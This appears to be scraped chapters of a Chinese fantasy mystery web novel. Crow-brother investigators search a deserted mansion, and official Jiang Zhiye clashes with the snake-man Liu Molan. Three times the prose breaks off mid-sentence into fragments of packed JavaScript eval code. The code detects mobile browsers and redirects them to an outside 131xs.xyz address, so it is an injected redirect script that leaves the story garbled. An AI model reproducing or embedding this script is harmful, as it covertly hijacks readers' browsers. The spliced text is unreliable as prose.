门板倒地的余响消散后,兄弟俩如两尾游入深潭的鱼,悄然潜入这座死寂的宅邸。顾时夜的指腹划过雕花柜头,指尖瞬间沾满墨色尘埃,如同抹上了一层岁月的灰烬。 顾夜白则化身灵巧的蝶,穿梭在一间间房舍间,木柜开合的吱呀声,像是老宅压抑的叹息。 然而,大多数柜子里都是些寻常之物,绫罗绸缎虽质地华贵,却也泛着陈旧的气息;精致的瓷器蒙着灰,失去了往日的光彩。 "小白!"顾时夜突然蹲下身,从床底勾出个檀木盒。 盒面缠满蛛网,灰扑扑的盒身刻着缠枝莲纹,却掩不住内里纸张泛黄的边角。 他拂去盒面尘土,扬起的灰雾里,竟有几缕阳光从破损的窗棂斜射而入,在尘埃中织就一道朦胧的光路。 顾夜白接过展开,泛黄的宣纸在指间簌簌作响。"竟是卖身契。"他瞳孔微缩,烛火般的目光扫过密密麻麻的蝇头小字,墨迹早已晕染,却仍能辨出"永为家奴"的字样。 那些被贩卖者的名字,像被钉在纸上的亡魂,在死寂的屋内发出无声的呜咽。 "先收着。"顾时夜将一沓契约塞进衣襟,纸张与心跳隔着薄薄的布料,竟生出几分滚烫的错觉。 雨势骤然加大,雨帘将庭院切割成无数碎银,檐角的铜铃在风中发出寂寥的清响,:“我去偏院瞧瞧,你再查查别处。”说罢,他抬脚跨出房门,雨丝瞬间沾湿了他的肩头,天色愈发阴沉,看样子一时半会儿难以返程。 这座四合院青砖黛瓦,飞檐斗拱间尽显气派,一看便是非富即贵之家。 在这个兽人买卖奴隶司空见惯的世道,家中藏有卖身契本不足为奇。可偌大的宅院,寂静得瘆人,没有一丝人迹。 若说是举家搬走,为何连一件家具、一份财物都不带走? 如今的雕花木床蒙着蛛网,鎏金烛台积满灰垢,一切都好像归于沉寂...... 顾时夜走进账房,檀木柜里,金银细软整整齐齐码放着,账本摊开在桌上,字迹工整,详细记录着每一笔开支,只是最后一页的日期,停在了许久之前。 这样的情形,要么是主人家出远门未归,要么就是遭遇不测。 可若如此,家中的奴仆又去了何处?难道这家人从未买下奴仆?那这些卖身契又从何而来?
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15694735|173401||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > "哥,你找到什么了吗?"顾夜白的声音从门外飘来,带着几分雀跃。 顾时夜抓起账本狠狠砸在桌上,宣纸纷飞如枯叶。"全是谜团!"他扯松领口,发间还沾着方才破门时的木屑,"金银未动,奴仆消失,这哪是搬家,倒像是人间蒸发!" “我这也没有什么有用。”顾夜白好奇打量四周,突然目光被一个大木箱子吸引,于是走过去将其打开,:“哇!哥,你看好多珠宝!” 顾夜白掀开箱盖的刹那,幽蓝的珠光骤然漫溢,恍若囚禁了整片星河,流转的荧光将他的瞳孔染成两汪碎金。 这些沉甸甸的宝物在潮湿的暗室里沉睡,却依然泛着夺目的华彩。 作为一只天性痴迷光泽的乌鸦,顾夜白的喉间不受控地发出一声雀跃的轻啼。他的手指无意识地摩挲着箱沿,仿佛触到了人间最炽热的火焰。 "哥,就拿一件......"尾音拖得像融化的蜜糖,他把扳指举到眼前,透过圆润的孔洞朝顾时夜挤眉弄眼:"就当是给这空屋子添点人气?" 话音未落,疾风骤至。 顾时夜的拳头裹挟着习武之人的凌厉气势,重重敲在他发顶。 顾夜白像被踩了尾巴的猫,抱着脑袋跳开三尺,背后的鸦羽凌乱炸开:"谋杀亲弟啊!"他委屈地揉着隐隐作痛的脑袋,眼尾泛起生理性的水光,"你这拳头比铁匠的铁锤还狠,我这颗聪明脑袋要是被打傻了,谁以后陪你喝酒解闷?" "倒打一耙的本事倒是见长。"顾时夜冷哼一声,:"上次你顺走商铺的鎏金铃铛,害我和你蹲了三天禁闭。" 顾时夜弯腰合上箱盖,他的声音冷得像屋檐垂落的冰棱,却在瞥见弟弟耷拉的嘴角时,目光不自觉地软了软,: "若不是看在你是我弟弟......"话音未落,顾夜白已嬉皮笑脸地凑过来,趁他不备在发冠上别了支温润的白玉簪。 簪头雕刻的并蒂莲栩栩如生,在阴暗中泛着柔和的光晕。顾时夜抬手欲摘,却见弟弟眨巴着亮晶晶的眼睛,活像偷腥得逞的猫儿。 他无奈地放下手,唇角不可察觉地弯了弯,任由弟弟的小把戏在自己发间生根。 青石板上的积水倒映着两人的身影,远处的屋檐还在滴落珍珠般的雨珠,打在积水中泛起层层涟漪。 "走吧。"顾时夜整了整衣襟,"再耽搁下去,大人该以为我们被意城的迷雾吞了。" 顾夜白应了声,悄悄将袖中藏匿的鎏金香囊捏紧。香囊上的缠枝纹硌着掌心,冰冷的触感贴着皮肤,却烫得他心口发烫。 他望着眼前人挺拔的背影,眼底跃动着狡黠的光——有些亮晶晶的秘密,是要藏在最柔软的羽毛下的。 “走吧,回家。” 双翼展开时,风声呼啸。 而那座沉寂的宅邸,又重新陷入了比夜色更深的寂静..... 4. 惹错主儿 阴天给江府的飞檐镶上灰色的边,顾夜白用力推开斑驳的朱漆门,就见江知烨垂着脑袋站在石桌旁,平日里意气风发的面庞此刻青一块紫一块,活像被踩烂的桑葚。 旁边的白衣男子倚着雕花竹椅,一条胳膊裹着层层素白纱布,用茜红丝绦吊在颈间,苍白的指节攥着青玉茶盏,骨节泛着病态的青灰。 子规姐垂眸坐在角落,整个人耷拉着脑袋。 顾时夜的羽翼还未完全收拢,羽毛上的雨珠簌簌滴落。他与弟弟对视一眼,喉间发出疑惑的轻鸣。 这场景太不寻常了!往日威风凛凛的江大人,此刻竟像只斗败的公鸡;素来泼辣果敢的子规姐,也失了精气神。 "大人......这是出了何事?"顾时夜咽了咽唾沫,硬着头皮上前。 江知烨张了张嘴,喉结上下滚动,未及开口,白衣男子已轻笑出声。 那笑声如同碎冰坠入深井,寒意顺着脊梁骨往上爬:"江大人不是最会巧舌如簧么?" 他抬手理了理歪斜的衣袖,牵动伤口,却似浑然不觉,嘴角勾起的弧度愈发诡异,:"当初下手的时候,不是挺威风的?怎么,现在装起哑巴来了?" 江知烨额角青筋突突直跳,喉间溢出一声长叹。他抬手抹了把脸,指腹擦过嘴角结痂的伤口,疼得倒抽冷气:"得得得,算我栽在你手里。"他哀怨地瞥向白衣男子,又偷瞄了眼神色阴沉的子规,后槽牙咬得咯咯响。 早知今日,当初哪敢招惹这位煞星! 他在心底哀嚎一声,赔着笑往前蹭了半步,活像只摇尾乞怜的小狗:"您消消气,消消气!我这就把前因后果,一五一十全交代了!" 事情的发生,还要回到两兄弟走的第三天,也就是两人回来的前一天。 夜色如墨浸透窗棂,案头堆积的卷宗在烛火下投出狰狞的暗影,江知烨捏着狼毫的指节泛白,墨汁在宣纸上晕染成一片混沌。 檐角铜铃被夜风摇晃出细碎呜咽,混着更鼓声撞进耳膜,搅得他太阳穴突突直跳。 案牍上的文书密密麻麻爬满蝇头小字,那些关于死者的描述、证人的供词,此刻都化作纠缠的藤蔓,将他死死捆缚。 安德鲁的密信在袖中发烫,信笺上潦草的字迹似乎还带着血腥气——"都察院那帮蛀虫已被敲打,安心办案"。 可越是如此,江知烨越觉脊背发凉。 他何尝不知,民心就如这梅雨时节的薄云,看似绵软,积得久了也能压垮城池。 "找个替罪羊......"安德鲁那日的话突然在耳畔回响。 江知烨望着铜镜中自己晦暗的倒影,指腹无意识摩挲着案角的裂痕。 他本就不是悬壶济世的明镜,亦非嗜血无情的恶鬼,不过是这权力棋盘上一颗半黑半白的棋子。 所谓拉拢人心,不过是他与安德鲁共谋的棋局,为的是在这暗流涌动的官场站稳脚跟。 他深知安德鲁那句"走漏风声便处理掉"藏着怎样的杀意,可世间哪有不透风的墙?若真随意抓个替罪羊,他日东窗事发,必成燎原之火。 要寻的,必须是个甘愿被拿捏、又能堵上悠悠众口的人。思绪翻涌间,柳漠澜慵懒含笑的面容突然浮现。 那是个浑身浸着酒香与竹香却比刀刃还锋利的角色,在"花月满人间"的琉璃灯下总是笑盈盈的,却将达官显贵的心思摸得比自个儿掌纹还透。 江知烨记得初次相见时,对方深藏眼底中映出的冷光,却在看向自己时柔得能化了人——爱钱如命,这既是弱点,也是突破口。 走在夜晚的南清城中,江知烨无声无息地看着这繁华世间。 华灯初上,街巷间浮动着迷离的光影,朱红纱幔随风轻扬,摇曳出暧昧的弧度。 达官显贵们斜倚着美人温香软玉的臂膀,肆意调笑,觥筹交错间,酒香、脂粉香与熏香混杂在一起,弥漫在整个空间。 角落里,有人掷出骰子,伴随着兴奋的呼喊,金银财宝在桌面上叮当作响。 夜晚总是这样,将这份奢靡与放纵愈演愈烈无限放大。 纸醉金迷的背后,是欲望的无尽膨胀,是道德的悄然沉沦。 雨幕中,"花月满人间"的灯笼在风中摇晃。 江知烨跨过门槛时,馥郁的沉香混着酒香扑面而来,廊下歌女的琵琶声婉转如诉。 柳漠澜斜倚在金丝软垫上,一只手抬起拿着烟枪,露出一小截手臂,正悠悠吞云吐雾。 "哈?"柳漠澜手中的烟枪顿在唇边,丹凤眼微微上挑,"江大人这是把身家性命都押在我身上了?"话音未落,笑声先如银铃般荡开,惊得梁上栖着的鹦鹉扑棱棱乱飞。 江知烨挺直脊背,:"柳老板若肯相助,金山银山不在话下。我以官印担保,定保你周全。"他刻意放缓语调,却掩不住眼底的焦灼。 柳漠澜突然倾身向前,广袖扫过案几,鎏金酒壶险些翻倒。他指尖如蝶,轻轻点在江知烨胸口上,每一下都似带着钩子:"江大人的官印,能挡住明日的流言蜚语?后日的明枪暗箭?"尾音拖得极长,像毒蛇吐信般缠住他的脖颈。 江知烨喉结滚动,将反问咽回腹中:"那柳老板想要什么?" 柳漠澜直起身子,慢条斯理地转动着腕间的玉镯,:"我要的......"他忽然贴近,吐气如兰,"是江大人拿不出来的东西。"话音落地,周遭好似一下寂静了,唯有酒杯相碰发出的清脆回响荡漾在耳边。 荧光烛火突然剧烈摇晃,柳漠澜广袖下的青筋如虬结的古藤暴起。江知烨甚至没看清对方出拳轨迹,一股带着腥甜气息的劲风已撞进胸腔。那力道像是被巨兽利爪贯穿,他踉跄着连退五步,腰间撞碎身后的青瓷屏风,冰裂纹在后背炸开。 "噗——"猩红血珠溅在描金牡丹的桌布上,宛如绽放的恶之花。 江知烨捂着抽搐的胸口剧烈咳嗽,铁锈味顺着喉咙漫上舌尖,唤醒了血脉深处沉睡的兽性。记忆里撕咬猎物的原始冲动翻涌而上,他的瞳孔在烛火中骤然缩成竖线,喉间溢出压抑的低吼。 柳漠澜冷笑一声,广袖无风自动。就在江知烨如离弦之箭扑来时,他腰肢轻拧,整个人化作游蛇般滑向侧方。左手精准扣住对方手腕,骨节相抵发出清脆的碰撞声,右臂如铁盾般格开另一记重拳。蛇尾突然像是破土而出,鳞片摩擦地面发出刺耳声响,横扫过江知烨脚踝的瞬间,带起一阵腥风。 江知烨单膝跪地稳住身形,还未等他反击,柳漠澜已欺身上前,右手如铁钳般反拧他的右臂,喀嚓一声,肩关节脱臼的剧痛让他眼前炸开白光。紧接着,带着罡气的掌风直击腹部,他整个人如断线风筝般倒飞出去,重重砸在檀木酒桌上。 "轰!"桌案四分五裂,木屑飞溅如霰。江知烨半躺在满地狼藉中,感觉五脏六腑都被震成了齑粉。滚烫的鲜血顺着嘴角蜿蜒而下,滴落在破碎的瓷碗里,与酒水混作暗红的漩涡。 耳鸣声中,他勉强抬起头,正迎上柳漠澜覆满冰霜的脸。 柳漠澜的指尖已掐住他的咽喉,锋利的指甲刺破皮肤,细小的血珠顺着纹路滚落。 他俯下身时,眼中燃烧着危险的幽光:"江大人,这就是你的诚意?"声音低沉,却比催命符更令人胆寒,而四周宾客早已作鸟兽散。 江知烨染血的唇角勾起危险弧度,尖齿在猩红映衬下泛着冷光,指尖似抚弄情人般摩挲着柳漠澜扣在喉间的手腕,"柳老板这双手,掐人时可比拨算盘还利落。"他喉间溢出低沉的笑,血腥味混着龙涎香扑面而来,"不过殴打官府命官,按律当砍头哦。"话音未落,柳漠澜的指甲已深深掐进他颈侧,青玉色蛇鳞因愤怒顺着脖颈蔓延。 "砍头?"柳漠澜仰起脸,居高临下地看着身下人,两颗獠牙不经意露出,"那我先送你去见阎王,黄泉路上作伴也不寂寞。"声音婉转带点危险的诱惑。 刹那间,空气仿佛凝固。 江知烨瞳孔骤缩,浑身肌肉紧绷如弦。他猛地发力,双腿如铁钳般缠住柳漠澜的腰,借着巧劲将人重重撂倒在地。檀木地板发出沉闷的轰鸣,震得满地碎瓷叮当作响。 未等对方反应,他已翻身压制住猎物,单手扣住那双作乱的手腕高举过头顶,另一只手顺着柔软的腰肢探向后脖,当指尖触到后颈凸起的蛇鳞时微微一顿,随即用指腹轻轻碾过那片冰凉的鳞片。 "在我面前动杀心,你还嫩了点。"江知烨俯身逼近,温热的呼吸扫过柳漠澜泛红的耳廓,"这满城的暗夜,还没人能取我性命。"他的声音低沉嘶哑,带着上位者的威压,却在触及对方炽热的目光时,泛起一丝不易察觉的涟漪。 柳漠澜非但不惧,反而笑得花枝乱颤,蛇尾灵活地缠上江知烨的腰,冰凉的鳞片紧贴着他滚烫的肌肤。 他仰起头,湿润的舌尖轻舔薄唇,媚眼如丝:"江大人这话,可别让阎王爷听见了。"说着,突然弓起身子,朱唇擦过耳畔,蛇尾慢慢收紧,在对方腰腹间游移,"不如让我试试,到底是你的骨头硬,还是我的牙尖?" 情欲与杀意交织的气息弥漫在四周,暧昧的光 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15694736|173401||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 影洒在两人交叠的身躯上。这一刻,胜负早已不再重要,唯有危险的博弈在彼此眼底翻涌...... 寂静的夜,被打翻的烛火在酒楼内炸开,江知烨的身影裹挟着木屑与酒坛碎片,被甩出朱漆门槛。 青石路面在撞击下发出沉闷的轰鸣,他喉间腥甜翻涌,殷红的血珠顺着嘴角汩汩流出,淅淅沥沥地小雨将其冲刷,在月光下蜿蜒成可怖的纹路。 柳漠澜踏着满地狼藉缓缓走出,衣袖染着暗红血渍。他垂眸睨着瘫倒在地的人,:"江大人若是想尝尝三途川的水,柳某倒是乐意送你一程。" 江知烨望着夜空中若隐若现的寒星,满心皆是苦涩。自他执掌权柄以来,何时受过这般折辱?早知柳漠澜是带刺的妖花,何苦非要徒手摘这朵带毒的花。 正当他闭目等死,任绝望如潮水般将自己淹没时,一声清脆的"啪嗒"突然刺破死寂。柳漠澜身后骤然响起破空之声,还未等他反应,细嫩的手指已精准扣住蛇尾的鳞片。 那力道看似绵软,却带着不容挣脱的霸道。下一秒,他的身影如离弦之箭倒飞而出,撞碎街边的木质招牌,发出震耳欲聋的巨响。木屑纷飞间,纸鸢铺的竹架轰然倒塌,各色纸鸢漫天飞舞,宛如一场荒诞的葬礼。 烟尘渐渐散去,江知烨挣扎着支起身子,眼前的景象让他瞳孔骤缩——方妙打着油纸伞正站在街心,三串糖人在她手中轻轻摇晃,琥珀色的糖衣在月光下泛着晶莹的光。她鼓着沾满糖渍的腮帮子,活像偷吃蜜糖的小兽,可一边躺着的柳漠澜,却早已没了半分嚣张。 曾经不可一世的花月楼主此刻发丝凌乱,衣襟被鲜血浸透,无力地瘫在废墟之中,发出微弱的呻吟。 "子规!你在干嘛!"江知烨声嘶力竭的呼喊划破夜空。 他太清楚这丫头的怪力了——看似娇弱的身躯下,藏着能掀翻巨石的蛮力。 看着柳漠澜气若游丝的模样,他只觉眼前发黑。 这下可好,得罪一个柳漠澜还不够,如今怕是明早就要流传出官府光天化日之下滥杀无辜的传闻了。 夜风卷起满地狼藉,江知烨望着这混乱的场面,只觉天旋地转,满心皆是"大祸临头"的绝望。 事情的后续就是江知烨单臂环着昏迷的柳漠澜,另一只手像拎小猫似的揪住方妙的后领连拖带拽把人带回府上。 少女嘴里还叼着半截糖人,在他身后跌跌撞撞地扑腾,鞋跟不断磕在青石板上,发出细碎的脆响。 雨丝斜斜掠过窗棂,将江府的回廊洇成青灰色的水墨。 江知烨立在雕花榻前,怀里昏迷的柳漠澜像株折断的白莲,苍白的脸与染血的衣襟形成刺目对比。 他戳了戳蔫头耷脑地方妙的脑袋,嘴角直抽:"下次再敢动私刑,就把你丢去守城门!"话音未落,方妙已趁机溜走,只留下满脸无奈的江知烨。 案头的烛火摇曳不定,江知烨捏着素白中衣的指尖微微发颤,绸缎在掌心揉出细密的褶皱。 “不过是换件衣裳....都是男人...” 可当沾着药香的手指触到对方冰凉的肌肤时,他如遭雷击般浑身紧绷,呼吸一滞,布料摩擦的窸窣声里,他听见自己紊乱的心跳如擂鼓。 解开血衣的瞬间,江知烨的呼吸陡然停滞。柳漠澜的后背盘踞着大片刺青,两条青蛇交缠盘绕,蛇信相触,周围簇拥着妖冶的曼珠沙华。 赤色与靛青交织,在苍白的肌肤上勾勒出惊心动魄的美。 "哗啦"一声,铜盆里的热水溅出涟漪。江知烨笨拙地托住柳漠澜的后背,可这人即便昏迷着,眉骨间仍凝着三分桀骜。 鬼使神差地,他的指尖拂过对方眉心,触感细腻如上好的羊脂玉。指腹下滑时,顺着高挺的鼻梁滑至苍白唇瓣,最终停在脆弱的喉结处,柳漠澜睫毛轻颤,竟无意识地偏了偏头。 喉结重重滚动,江知烨的手掌覆上那脆弱的颈骨。血管在指腹下规律跳动,带着蛊惑人心的温度。 身为上位者的本能在叫嚣着扼杀威胁,可当视线扫过对方锁骨处未愈的擦伤,他突然想起柳漠澜眼中燃烧的轻蔑——那是把握一切的掌控自信,像把淬毒的匕首,危险得令人着迷。 窗外的夜枭突然发出凄厉的啼叫,惊得江知烨猛地回神。他望着床上毫无防备的人,想起那时那双淬着毒的蛇瞳,想起柳漠澜将他掀翻在地时眼底燃烧的野火。 种族与生俱来的警惕感在血液里翻涌,他突然意识到,这枚精心挑选的棋子,或许从一开始就藏着噬主的毒牙。 5. 男子汉,能屈能伸 江知烨将事情的来龙去脉大致讲述了一番,只是,关于把人带回来后自己究竟做了什么,他却讳莫如深,只轻描淡写地提了一嘴柳漠澜昏迷了整整一日。 “所以……大人,你……”顾夜白眼神带着几分疑惑与揣测,小心翼翼地在江知烨和柳漠澜之间来回扫视,那不确定的语气,仿佛在试图从两人的神情里挖出点隐藏的秘密。 “男子汉大丈夫,能屈能伸!”江知烨双臂抱于胸前,胸膛一挺,理直气壮地开口。 若不是他脸上还挂着些青紫的瘀伤,那副故作豪迈的模样,还真能唬住人,让人差点就信了他的“鬼话”。 “对了,你们这边查到什么线索了吗?”话题一转,江知烨瞬间换上严肃的神情。 “目前就这一个还算有用的。”顾时夜闻言,伸手探入怀中衣襟,小心翼翼地掏出一沓保存完好的卖身契,恭恭敬敬地双手奉上。 “而且那目标人物的家里空荡荡的,一个下人都不见踪影。钱财原封未动,家具也都没挪动过,明显是好久都没人住了。” 顾夜白在一旁连忙附和,“我们把所有房间都仔细查了个遍,除了那户人家,整个城都冷冷清清的,透着股说不出的诡异。” “很久……”江知烨低声喃喃,在心底反复咀嚼着他们的话,眉头紧紧拧成了一个“川”字。 突然,像是脑海中闪过一道灵光,他猛地抬头,急切道:“你们赶紧去城门那儿,查查人员的进出情况,一有动静立刻来告诉我!” 眼下,这个消失的可疑人物可是唯一的线索,绝不能有丝毫疏忽。 “我再去审问审问那个兔子精,你们先去办这事。还有,子规跟我来。”江知烨双手背在身后,转身便要离开。 “那我呢,江大人?”就在这时,柳漠澜那低沉、冰冷的声音,直直钻进江知烨的耳朵里,瞬间让他头皮一阵发麻。 “啊……”江知烨机械般地转过身,看向柳漠澜,脸上勉强扯出一个比哭还难看的微笑,语气里透着明显的底气不足,“那个,等这案子结了,我一定亲自补偿你,行不?你要是不嫌弃,就先留在这儿养伤。” 话音落下,周遭的空气瞬间凝固。柳漠澜静静地盯着江知烨,仿佛要将眼前这人从头到脚、里里外外都剖析个透彻。 过了许久,他才缓缓偏过头,扫视了一圈周围的建筑,然后沉默着点了点头。 这算是答应了? 江知烨心里没底,不确定地又看了看柳漠澜。 见对方没再提出别的要求,他忙不迭地一把拎起方妙,脚底生风,像逃命似的朝着偏院厢房匆匆离去。 等终于走远后,方妙仰起脸,杏眼圆睁:“大人为何惧他?” 在她认知里,这位平日里玩世不恭、行事嚣张的主儿,虽然总是吊儿郎当,纯属上梁不正下梁歪的模范,一办起案来就如换了个人——眉眼间隐约透着安德鲁的凌厉。 可此刻卑躬屈膝的模样,着实颠覆了她的认知。 "谁叫你家英明神武、英姿飒爽、风流倜傥的江大人——"江知烨额前青筋突突直跳,嘴角不受控制地抽搐,却仍硬撑着维持脸上标准的微笑,一字一顿地回答,"打不过那位主儿呢?" "那你为什么还留他?你不怕死吗?"方妙追问道,杏眼瞪得溜圆。 江知烨猛地停下脚步缓缓转身,微微弯下腰,与眼前矮了半截的小人平视,眼底闪烁着复杂的光芒:"小姑娘,"他刻意放慢语速,声音里带着几分无奈与隐忍,"首先,这次是我们理亏。你想想,当时你把人家像破麻袋似的甩飞出去,还连累人家砸了一家店铺。咱们没被索赔,已经是走了八辈子大运。其次——"他压低声音,神神秘秘地凑近,"留下他是为了堵他的嘴,以后抬头不见低头见的,总不能天天剑拔弩张吧?毕竟,我真不是他的对手。"说到这儿,江知烨直起身子拍了拍方妙的肩膀转身继续朝厢房走去。 走进偏院,打开房门上的锁扣,腐木霉味裹挟着浓烈的苦腥气扑面而来。 只见榻上蜷缩的身影不停痉挛,苍白的兔耳无力耷拉着,布满血丝的眼睛半睁半合,泛着青紫的唇瓣不断翕动,喉间溢出破碎的呜咽。 "别进来,他不对劲。"江知烨猛地横臂拦住方妙,靴底碾碎满地药渣逼近床边。 榻上的兽人突然剧烈抽搐,指节深深抠进被褥,整个人弓成虾米状,冷汗浸透的碎发黏在惨白如纸的脸上,喉间发出濒死般的嘶吼。 江知烨扳过对方下巴,只见那人瞳孔涣散,脖颈青筋暴起如蚯蚓蠕动,嘴角涎水混着血丝滴落,指甲缝里满是自己抓伤的血痕。 "滚!"江知烨嫌恶地将人掼在地上,靴尖重重碾过对方抽搐的手腕,:“要死是不是,中邪了?”。 那兽人却像抓住浮木般死死抱住他的腿,指甲深深掐进布料:"烟...给我...一口..."干裂的嘴唇不断颤抖,眼神浑浊却透着疯狂的渴求。 当"花君子"三字从对方齿间漏出时,江知烨的太阳穴突突直跳。 记忆如潮水翻涌,安德鲁的警告、暗巷里的黑影、糕点铺老板娘脖颈的淤黑,所有碎片在脑海中疯狂旋转。 他拎起瘦得脱形的兽人,厉声询问:"从哪弄来的?还有谁在染指?!" "我姐...她的地下室..."兽人瘫软如泥,眼球上翻着呢喃,"别告诉她...我好难受...。" 很显然他已经神志不清了。 江知烨猛地甩开手,转身对门外的方妙厉喝:"给我把他打清醒,留口气就行,不行了就叫医馆的人来。"话音未落,人已冲出院门。 微风卷起他的衣袍下摆,诸多疑云在脑中翻涌——卖年糕的少女怎会染指毒烟?她与暗巷神秘人又有何关联?消失的追求者何去何从,卖身契背后究竟藏着怎样的阴谋? 疑问席卷上心头,一股疲惫充斥全身,就在他神色恍惚之际,忽闻一声沙哑呼唤:"江大人。"抬眼望去,阳光勾勒出一道颀长身影。 那人青丝束起,眉间朱砂点得殷红,眉梢下垂,金色丹凤眼微微上挑,右唇角的朱砂痣随着浅笑轻轻颤动,只是开口时破碎的声线,倒像是被砂纸反复打磨过的破锣。 “白鸽,怎么了?” ......... 江知烨立在庭院中央,任洒下的阳光将自己切割成单薄的剪影。 梅雨季将歇,黏腻的水汽渐渐褪去,久违的阳光倾洒人间,天穹像块洗旧的靛青绸缎,干净得没有一丝褶皱,可这份澄澈非但没能安抚心绪,反而让积压在胸腔里的郁气愈发翻涌——那些纠缠不清的谜团、暗处窥伺的敌意,恰似梅雨过后潮湿的苔藓,悄无声息爬满了他的每寸神经。 回忆白鸽的每一句言辞,江知烨感觉自己疯了都正常。 城内最大的玉石商铺——玉宝清,在昨晚三更时被洗劫一空。 可盗贼今日又死在了城外,身上的玉石却消失了。 一波未平,一波又起。 如今兔女凶杀案未结,线索不足,又出现盗窃案,盗窃还被杀害,一点头绪没有。 平复心情后吩咐理尚府其余人去调查兔女的家,又分出一批去调查盗贼的案件线索,而顾时夜和顾夜白也恰巧回来了,还带着城门出入人员的出入簿。 江知烨指尖按压着僵硬的肩井穴,腕骨转动时发出细微的脆响,:"可有收获?" 顾夜白垂眸呈上泛黄的出入簿,纸页间夹着半片干枯的银杏叶:"意城人踪迹全无,但有一个猫族兽人出城记录却没有记载。"只见本该密密麻麻的登记栏突兀地空出半页,像道未愈的伤口。 江知烨的瞳孔猛地收缩,指节捏得发白。 他几乎是将簿册抢过来,翻页时纸张簌簌作响,反复核对的目光在空白处灼烧。"这不可能!"喉间溢出的话语带着破碎的震颤,"戍卫如何解释?" "他们说..."顾夜白喉结滚动,声音压得极低,"是大人您亲自下令特批,还有亲笔手书与朱砂手印为证。" 庭院里的风突然停了,蝉鸣都在瞬间凝固。 江知烨手中的出入簿"啪嗒"坠地,惊起几片落叶。他踉跄半步扶住廊柱,指腹抚过掌心凸起的茧子只有淡淡的痒意。 暗巷里的迷药、失去意识前的眩晕,还有那人走到自己面前时朝自己伸出的手..... "假的!全是伪造!"江知烨突然暴喝,震得廊下铜铃嗡嗡作响。他抓起腰间令牌掷向顾夜白:"立刻封锁四门!出动所有暗卫,沿水路旱路分三路追击!"冷光将他的身影拉得很长,眼底翻涌的杀意几乎凝成实质,"猫族夜视极佳,扩大最大范围寻找!" 若是让那人真的跑了,那可不是一件小事了.... 看着各侍卫们如离弦之箭消失在巷口,江知烨才惊觉掌心早已被冷汗浸透。他深吸一口气,强迫自己平复心绪,转身时袍角带起一阵劲风,朝着方妙所在的院落大步走去.... “子规怎么样了?”江知烨推门而入,看着半死不活的兔族兽人没有理会,只是径直绕过去来到坐在椅子上吃蜜饯的方妙面前,:“哪来的?” “白鸽给我的!”方妙吃的开心,头顶的熊耳也一动一动的,:“你怎么处理他?” “想了想,干脆把他送进去蹲着吧。” “你不是找那条长虫吗” “你怎么又给人乱取外号啊,礼貌一点小姑娘”江知烨无奈敲了敲对方的脑门,:“人家被你搞成那样,还愿意帮忙就出鬼了,明天我们要去安德鲁那,你把他扛去。” “唉?不要!他看起来好脏!” “一顿烧鸡。” “请我吃到饱。”方妙冷不丁地提要求。 “行行行,真拿你没办法。”江知烨扯出一抹似笑非笑的表情,无奈应下,随后话锋一转,“对了,你还没给柳老板道歉呢,赶紧去。” “哎呀!我不要嘛!”方妙满脸抗拒,身子扭得像条麻花。 “别废话,听话,没商量。”江知烨说着,像拎小鸡似的揪住对方后衣领,径直将人带到柳漠澜的卧房外,冷声道:“进去。” “你不一起进去吗?说到底,一开始可是你的馊主意。”小姑娘可怜巴巴地望着江知烨,眼里满是哀求。 “我不去。”江知烨双臂抱胸,态度坚决。 “哼,你果然是真怕他呀?”方妙嘴角勾起一抹狡黠的弧度,脸上写满了“我看穿一切”的得意。 “滚滚滚,少废话,进去!”江知烨哪容她再多说,直接抬手推开门,把人往里一塞,紧接着“贴心”地关上了门,动作一气呵成。 方妙一个踉跄,站定在屋内。抬眼望去,只见软榻上的柳漠澜正闭目养神。 方妙望着他,瞬间有些不知所措,进也不是,退也不是。 “呃……”方妙清了清嗓子,试图打破这令人窒息的沉默,“那个……那天实在对不住,我下手太重了。” 寂静,如同一堵密不透风的墙,将她的话语无声吞噬,没有得到一丝回应。 方妙挠了挠头,硬着头皮又开口:“那个……我叫方妙,是只白灵熊,你呢?” 可回应她的,依旧是死一般的寂静,柳漠澜仿佛根本没听到他说话,依旧保持着闭目养神的姿态,纹丝不动。 “喂喂!”方妙虽然以前到处摸爬滚打,见惯了很多人,可是如此无视自己简直天理难容,:“理一下我嘛!很不礼貌唉!” 听言对方终于有了点动静,慢慢睁开眼,声音淡漠带点蛊惑,:“偷袭素不相识的人,你就很礼貌吗?小姑娘。” “这.....”方妙闻言哽住, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15694737|173401||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 随即双手叉腰理直气壮说道,:“那还不是你要痛下杀手!” “谁说我要杀人了。” “我都看到了!” “没有。” “有!” “没有!” “有!” ..... 室内的空气仿佛凝结了一般,陷入了一阵令人尴尬的短暂沉默。 